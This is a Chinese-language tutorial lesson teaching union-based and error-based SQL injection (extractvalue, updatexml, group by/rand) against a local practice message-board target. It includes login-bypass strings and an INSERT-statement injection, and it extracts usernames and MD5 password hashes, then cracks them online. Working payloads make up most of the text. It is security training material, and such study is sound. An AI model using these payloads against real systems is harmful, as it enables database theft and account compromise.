SQL 注入之报错型注入
SQL 注入之报错型注入漏洞 — 当页面不说话,就让错误来开口
上节课我们用 Union 联合查询把数据库翻了个底朝天。但问题来了——如果 Union 用不了怎么办?页面没有回显位置、字段数不匹配、单引号被过滤……别慌,这节课教你报错型注入,让 MySQL 的错误信息变成你的情报员。
课程概览
1. Union 注入系统性复习与实操 2. order by 探列数 + union select 定回显位 3. 数据库名 → 表名 → 字段名 → 数据(七步走) 4. 报错型注入入门:什么时候用? 5. 三大报错注入技法:group by / extractvalue / updatexml 6. 报错型注入实战:INSERT 留言注入 7. 作业附:环境准备
Python 验证码识别环境
python-V# 查看 Python 版本,建议 3.6+ 即可推荐资料:
- xp CAPTCHA 识别:https://github.com/smxiazi/NEW_xp_CAPTCHA/releases/tag/4.3
- xp 验证码部署教程:https://www.cnblogs.com/xinghaihe/p/18415544
上节课快速回顾
万能密码注入 — 两种公式
公式 1:攻用户名
URL: http://localhost/wz/login.php?user=a' or '1' ='1&pass=123456 输入框: 用户名 = a' or '1' ='1 密码 = 123456实际 SQL:
SELECT*FROMuserWHEREusername='a'or'1'='1'ANDpassword='123456'-- ↑ 永远为真,条件被绕过公式 2:攻密码
URL: http://localhost/wz/login.php?user=a&pass='or'1'='1 输入框: 用户名 = a 密码 = ' or '1' ='1实际 SQL:
SELECT*FROMuserWHEREusername='a'ANDpassword=''or'1'='1'-- 假 AND 假 OR 真 = 真,再次绕过零、靶场环境
本节课需要新靶场:
| 组件 | 说明 |
|---|---|
| MySQL | 数据库服务 |
| PhpStudy | 集成 Web 环境 |
| bbs | 留言板靶场系统 |
| jrlt.sql | 需要导入的数据库文件 |
⚠️ 注意:需要先导入
jrlt.sql数据库,才能正常使用 bbs 靶场。
一、Union 注入系统性复习
1.1 概念
Union 查询注入是最基础的 SQL 注入技术。利用UNION关键字,可以将额外的 SELECT 查询结果「纵向」拼接到原始查询结果中。
简单说:本来页面只返回新闻列表,你用 UNION 让它同时返回用户密码——页面不觉得有什么不对,但数据已经泄露了。
1.2 适用条件
Union 注入不是万能的,需要同时满足两个条件才生效:
| 条件 | 说明 |
|---|---|
| ✅ 条件一 | 页面存在注入点,且有回显(页面上能显示数据) |
| ✅ 条件二 | Union 前后两个 SELECT 的列数相同,对应列的数据类型兼容 |
两样缺一不可。缺了任何一条,就轮到报错型注入登场了。
1.3 注入六步走
Step 1: 判断是否存在注入点及注入类型 Step 2: 用 ORDER BY 探测列数 Step 3: 用 UNION SELECT 判断回显位置 Step 4: 获取数据库名 Step 5: 获取所有表名 Step 6: 获取表中的数据二、Union 注入实操:bbs 靶场
靶场初始化
- 用火狐渗透版浏览器打开:
http://localhost/bbs/index.php - 注册账号(
derry1/123456) - 登录后去留言两条数据
- 访问:
http://localhost/bbs/showmessage.php?id=1
2.1 判断是否有注入点
http://localhost/bbs/showmessage.php?id=1# 正常显示 id=1 的留言http://localhost/bbs/showmessage.php?id=2# 正常显示 id=2 的留言http://localhost/bbs/showmessage.php?id=啊# 输入乱字符,页面报错!判断依据:更换
id参数值能查询到不同数据 + 输入乱字符报错 →确认存在注入点。
底层实际执行的 SQL 大概是:
SELECT*FROMmessagesWHEREid=你输入的参数2.2 用 ORDER BY 探测列数
ORDER BY n按第 n 列排序。如果 n 超出了实际列数,数据库就会报错。这个报错正好告诉我们有几列。
# 从 1 开始递增尝试http://localhost/bbs/showmessage.php?id=1order by1# 正常http://localhost/bbs/showmessage.php?id=1order by2# 正常http://localhost/bbs/showmessage.php?id=1order by3# 正常http://localhost/bbs/showmessage.php?id=1order by4# 正常http://localhost/bbs/showmessage.php?id=1order by5# 报错!结论:order by 4 正常、order by 5 报错 → 当前查询共有4 个字段。
底层 SQL:
SELECT*FROMmessagesWHEREid=1ORDERBY5-- ↑ 第 5 列不存在,报错!2.3 判断回显位置
现在我们知道有 4 列,用
UNION SELECT 1,2,3,4看看哪几列的数据会显示在网页上。
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,3,4关键技巧:
id=-1让原查询返回空,这样 UNION 后面的数据就不会被原数据遮挡。
结果分析:如果页面显示了2、3、4,说明这三个位置可以用来放我们的注入语句。
底层 SQL:
SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,3,4-- ↑ 不存在的 id,原查询返回空-- ↑ 1,2,3,4 填入 4 个字段位置2.4 获取数据库名
第一步:获取当前数据库名
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),database()
version()返回 MySQL 版本,database()返回当前使用的数据库名。
结果:jrlt→ 这就是当前数据库!
底层 SQL:
SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,version(),database()第二步:获取所有数据库名
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),(select group_concat(schema_name)from information_schema.schemata)或者等价写法:
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),group_concat(schema_name)from information_schema.schemata不仅能看到
jrlt,还能看到 MySQL 系统自带的其他数据库。
2.5 获取数据库中的所有表
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),group_concat(table_name)from information_schema.tables wheretable_schema='jrlt'注入点对应的 SQL:
-1unionselect1,2,version(),group_concat(table_name)frominformation_schema.tableswheretable_schema='jrlt'2.6 获取表中所有字段名
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,3,group_concat(column_name)from information_schema.columns wheretable_name='users'andtable_schema='jrlt'底层 SQL:
SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,3,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_name='users'ANDtable_schema='jrlt'2.7 获取最终数据 — 用户名和密码
http://localhost/bbs/showmessage.php?id=-5 unionselect1,2,3,concat(name,':',password)fromuserslimit0,1注入点 SQL:
-5unionselect1,2,3,concat(name,':',password)fromuserslimit0,1
concat(name, ':', password)把用户名和密码拼成admin:21232f297a57a5a743894a0e4a801fc3这样一行字符串。
结果:21232f297a57a5a743894a0e4a801fc3—— 这是 MD5 加密的密码。
MD5 在线解密:https://cmd5.com/ (解密后是
admin)
三、Union 注入小结
| 步骤 | 目的 | 关键关键词 |
|---|---|---|
| 第 1 步 | 判断注入点 | 输入'或乱字符观察报错 |
| 第 2 步 | 探测列数 | ORDER BY n,从 1 递增到报错 |
| 第 3 步 | 定位回显位 | UNION SELECT 1,2,3,… |
| 第 4 步 | 获取数据库名 | database() |
| 第 5 步 | 获取表名 | information_schema.tables+group_concat(table_name) |
| 第 6 步 | 获取字段名 | information_schema.columns+group_concat(column_name) |
| 第 7 步 | 获取数据 | concat()+limit |
四、报错型注入系列
4.1 为什么需要报错型注入?
Union 注入虽然好用,但它有硬性条件:页面必须有回显。现实中有大量场景 Union 用不了:
- 页面不直接显示查询结果(比如只显示「操作成功」)
- Union 前后列数对不上
- 没有合适的回显位置
- 单引号被转义或过滤
这时候怎么办?答案就是:报错型注入。
报错型注入的核心思路:
故意制造一个数据库错误 → 把想要的数据放在错误信息里 → 页面输出错误 → 数据到手相当于你问数据库一个问题,数据库说不出来,但生气地把答案写在了脸上。
4.2 报错型注入的适用条件
- ✅ 数据库存在注入点
- ✅ 数据库会输出详细的错误信息到页面
- ✅ Union 注入条件不满足时优先使用
- ⚠️ 成功率和时间成本高于 Union 注入
4.3 技法一:group by 重复键冲突
利用
count()+floor()+rand()+group by这几个函数组合产生键冲突报错,在报错信息中带出数据。
完整 Payload
http://localhost/bbs/showmessage.php?id=1and(select1from(select count(*),concat(0x5e,(select version()from information_schema.tables limit0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)输入此 payload,页面报错并显示 MySQL 版本号。
原理拆解
SELECT1FROM(SELECTcount(*),concat(0x5e,(SELECTversion()FROMinformation_schema.tablesLIMIT0,1),0x5e,floor(rand(0)*2))xFROMinformation_schema.tablesGROUPBYx)a| 组成部分 | 说明 |
|---|---|
SELECT 1 | 保证外层的语法正确,返回 1 为 true |
FROM (…) a | 子查询,a是别名 |
count(*) | 统计分组后的记录数 |
GROUP BY x | 按字段x的值分组 |
concat(0x5e, 查询内容, 0x5e, floor(rand(0)*2)) | 核心:拼接查询内容 |
0x5e | ^字符的十六进制,充当分隔符 |
floor(rand(0)*2) | 固定随机数,每次返回 0 或 1 |
为什么会报错?
rand(0)生成固定序列的随机数。在GROUP BY分组过程中,MySQL 需要创建临时表来存放分组结果。插入临时表时rand(0)会再次执行,产生与之前不同的值,导致主键冲突。这个冲突引发的报错中,恰好携带了concat()拼接的查询结果。
一句话总结:不用死记,拿来就用,改中间的查询语句即可。
4.4 技法二:extractvalue XPath 报错型注入
extractvalue()是 MySQL 处理 XML 的函数,当给它传递非法的 XPath 表达式时,会报错并把错误内容显示出来。
语法
extractvalue(1,concat(0x5c,(SELECT查询内容),0x5c))实际注入
# 获取版本号http://localhost/bbs/showmessage.php?id=1and extractvalue(1, concat(0x5c,(select version()),0x5c))# 获取数据库名http://localhost/bbs/showmessage.php?id=1and extractvalue(1, concat(0x5c,(select database()),0x5c))注入点 SQL:
id=1andextractvalue(1,concat(0x5c,(selectversion()),0x5c))id=1andextractvalue(1,concat(0x5c,(selectdatabase()),0x5c))底层完整 SQL:
SELECT*FROMmessagesWHEREid=1ANDextractvalue(1,concat(0x5c,(SELECTdatabase()),0x5c))
0x5c是反斜杠\的十六进制,故意制造非法 XPath 使报错触发。
4.5 技法三:updatexml 报错型注入
updatexml()和extractvalue()原理类似,也是利用 MySQL 的 XML 函数制造非法参数触发报错。
语法
updatexml(1,concat(0x5e,(SELECT查询内容),0x5e),1)实际注入
# 获取版本号http://localhost/bbs/showmessage.php?id=1and updatexml(1,concat(0x5e,(select version()),0x5e),1)# 获取数据库名http://localhost/bbs/showmessage.php?id=1and updatexml(1,concat(0x5e,(select database()),0x5e),1)底层 SQL:
SELECT*FROMmessagesWHEREid=1ANDupdatexml(1,concat(0x5e,(SELECTversion()),0x5e),1)三种技法的对比
| 技法 | 难度 | 稳定性 | 推荐场景 |
|---|---|---|---|
| group by + floor + rand | 高 | 中 | 研究原理时用 |
| extractvalue | 低 | 高 | 日常首选 |
| updatexml | 低 | 高 | extractvalue 被禁时用 |
实用建议:先试 extractvalue,不行换 updatexml。group by 那套太复杂,一般作为兜底方案。
五、报错型注入实战:INSERT 留言注入
场景分析
bbs 靶场除了showmessage.php这种 SELECT 注入,还有一个重要入口:留言功能。
http://localhost/bbs/addMessage.php这是一个INSERT 语句的注入,攻击位置不是 GET 参数,而是留言框。
源码中的 SQL:
INSERTINTO`messages`(`uname`,`title`,`content`)VALUES('".$userName."','".$title."','".$content."')用户输入的内容$content会直接拼接到VALUES中。这不就是天然的注入点吗?
第一步:思路探索 — 构造注入闭合
攻击语句需要放在 VALUES 的字符串中间,所以要这样闭合:
INSERTINTO`messages`(`uname`,`title`,`content`)VALUES('','',''or'攻击语句'or'')在留言内容框中输入(闭合的模板):
' or '攻击语句' or '中间的'攻击语句'替换成实际注入代码即可。
一个简单的测试:
-- 在留言框输入:' or 'a' or 'b' or 'c' or '-- 拼接后变成:INSERTINTOmessages(...)VALUES('','',''or'a'or'b'or'c'or'')-- 中间全是 OR,永远为真 → 正常插入留言第二步:用 group by 冲突获取数据库名
在留言内容框中输入:
' or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '拼接后的完整 SQL:
INSERTINTOmessages(`uname`,`title`,`content`)VALUES('','',''or(select1from(selectcount(*),concat(0x5e,(selectdatabase()frominformation_schema.tableslimit0,1),0x5e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)or'')页面报错并显示出数据库名!
第三步:用 extractvalue 获取表名
在留言内容框中输入:
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '拼接后:
INSERTINTOmessages(...)VALUES('','',''orextractvalue(1,concat(0x5c,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='jrlt'),0x5c))or'')报错信息中列出了
jrlt数据库的所有表!
第四步:用 updatexml 获取字段名
在留言内容框中输入:
' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '拼接后:
INSERTINTOmessages(...)VALUES('','',''orupdatexml(1,concat(0x5e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users'andtable_schema='jrlt'),0x5e),1)or'')报错信息中列出了
users表的所有字段名!
第五步:获取用户名密码 — updatexml 的 32 字符限制
在留言内容框中输入:
' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or '结果只显示了
e10adc3949ba59abbe56e057,但完整的 MD5 是 32 位字符!
原因:updatexml()最多只返回32 个字符。对于长字符串(比如 MD5 密码),需要分批截取。
解决方案 — 用 substring 分批获取:
-- 第一批:前 16 位' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,1,16)) from users limit 0,1),0x5e),1) or '-- 结果:e10adc3949ba59ab-- 第二批:第 17 位起' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,17)) from users limit 0,1),0x5e),1) or '-- 结果:be56e057f20f883e拼接在一起:e10adc3949ba59ab+be56e057f20f883e=e10adc3949ba59abbe56e057f20f883e
去在线 MD5 解密站 https://www.sojson.com/encrypt_md5.html 解密 → 得到明文密码:
123456
六、完整注入流程对比
| 环节 | Union 注入 | 报错型注入 |
|---|---|---|
| 前提 | 页面有回显 + Union 列数匹配 | 数据库输出报错信息 |
| 数据库名 | union select database()直接显示 | extractvalue(1,concat(0x5c,(select database()),0x5c))报错输出 |
| 表名 | union select group_concat(table_name)显示 | 同上,替换中间的 SQL |
| 字段名 | union select group_concat(column_name)显示 | 同上,替换中间的 SQL |
| 数据 | union select concat(name,':',password)显示 | 同上,注意updatexml32 字符上限 |
七、课后作业
- Union 注入篇:写出自己理解的 Union 概念、使用条件、注入步骤
- 报错型注入:什么场景下才使用报错型注入?
- 实战:使用报错型注入获取 本地靶场的最终数据集(用户名+密码)
写在最后:从 Union 注入到报错型注入,本质上是同一个道理——让数据库执行你精心构造的 SQL。区别只在于展示方式:一个有回显就光明正大地显示,另一个没有回显就借错误信息偷偷带出来。下一节课我们继续深入,敬请期待!